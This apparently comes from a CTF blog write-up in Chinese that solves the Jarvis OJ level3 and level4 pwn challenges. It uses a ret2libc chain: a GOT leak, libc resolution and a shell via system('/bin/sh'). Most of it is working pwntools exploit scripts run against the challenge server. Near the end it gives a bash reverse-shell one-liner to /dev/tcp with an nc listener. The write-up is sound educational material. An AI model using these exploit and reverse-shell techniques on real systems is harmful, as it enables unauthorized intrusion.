Jarvis OJ [XMAN]level3 [XMAN]level3

查询保护

liu@liu-F117-F:~/桌面/oj/level3$ checksec level3
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开启了NX保护

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了
这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串

构造payload:
payload=’A’*0x88+’A’*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)//这一部分是为了泄露出来write 函数的got表内容
payload = “A” * 0x88 + “A” * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)//这一部分会返等待输入,把输入的内容放到bss_addr。返回地址pop_pop_pop_ret保证堆栈平衡
payload+=p32(system_addr)+p32(0x77777777)+p32(bin_sh_addr)//这一部分是为了执行system(“/bin/sh”)函数。

会执行system(“/bin/sh”)是因为发送过去的payload在函数返回的时候才会起作用。

0x01 获取pop
程序开启了NX保护,pop_pop_pip_ret不能使我们传进栈中的,只能用程序本身自己带的,那么怎么找呢,能不能找到呢
pwntoos给我们提供了工具ROPgadget
–binary是搜索的目录,–only是搜索的内容。还可以加上|grep  来过滤

liu@liu-F117-F:~/桌面/oj/level3$ ROPgadget --binary level3 --only "pop|ret"
Gadgets information
============================================================
0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

Unique gadgets found: 7
liu@liu-F117-F:~/桌面/oj/level3$ 

0x08048519 : pop esi ; pop edi ; pop ebp ; ret  这里代码量不大,直接搜索出来了
0x02获取libc版本

from pwn import *
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
plt_write=elf.plt["write"]
got_write=elf.got["write"]

#p=process("./level3")
p=remote("pwn2.jarvisoj.com",9879)
p.recvline()
payload="A"*0x88+"A"*4+p32(plt_write)+p32(pop_pop_pop_ret)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

运行这段代码就能获取到write函数的运行地址(放在write_addr里面)。
运行结果为write_addr=0xf7dfad80 。
为了获取到libc版本这里推荐一个网站https://libc.blukat.me/?q=write%3A0x7f2179c14440。可以在这里通过函数名和地址查询出运行库的版本也提供下载。(如果一个地址查到不止一个库版本可以试着再泄露一个函数)
当然也可以自动获取,这个更可靠,pwntools提供的有库

from pwn import *
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
    p.recvline()
    payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print hex(u32(data))
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data
#p=remote("pwn2.jarvisoj.com",9879)
p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)

需要注意的是这里的payload的返回地址是main_addr也就是函数的其实位置。要利用write函数输出的内容是address。
0x03利用read把/bin/sh 写入到bss段里
查找bss段的地址

liu@liu-F117-F:~/桌面/oj/level3$ readelf -s level3 |grep bss
    63: 0804a024     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
from pwn import *
#context.log_level="debug"
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
    p.recvline()
    payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print hex(u32(data))
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)



bss_addr=0x0804a024
plt_read=elf.plt["read"]
p.recvline()
sleep(1)
payload = "A" * 0x88 + "A" * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
raw_input()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

另一种方法
不用自动的查询其实也完全可以做到,可以手动查询,不过上面提供的网站可能会查不到。
这里直接从libc库里面搜索/bin/sh字符串,更简便了(上面的网站中搜不到这个库),相比起来自动的脚本更强大一些

from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")

pop_pop_pop_ret=0x08048519
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
p.send(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

libc=ELF("libc-2.19.so")
#libc=ELF("libc6_2.27-3ubuntu1_i386.so")
bss_addr=0x0804a024
libc_system=libc.symbols["system"]
libc_binsh=next(libc.search("/bin/sh"))
libc_write=libc.symbols["write"]
system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
print "system_addr="+hex(system_addr)
raw_input()

p.recvline()

payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0x77777777) + p32(binsh_addr)

p.sendline(payload)

p.interactive()

补充
任务完成可以试一下反弹sell本地监听一个端口
nc -lvvp 7350
给靶机输入命令
bash -i >& /dev/tcp/10.134.100.21/7350 0>&1
如果能反弹的话可以直接在本地获取到靶机的shell,这里失败了.不知道原因。


level4
level3和level4改几个地址就行了

from pwn import *
context.log_level="debug"
pop_pop_pop_ret=0x08048509
elf=ELF("level4")
main_addr=0x08048470
plt_write=elf.plt["write"]
def leak(address):
    payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print hex(u32(data))
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data
p=remote("pwn2.jarvisoj.com",9880)
#p=process("./level3")
d=DynELF(leak,elf=ELF("./level4"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)



bss_addr=0x0804a024
plt_read=elf.plt["read"]

payload = "A" * 0x88 + "A" * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
raw_input()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

重点内容
总结:可以利用read来写入bss段内容通过bss段来存储需要/bin/sh。
构造溢出点获取执行流,调整堆栈平衡让程序一段一段的执行一个接一个的函数。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80944927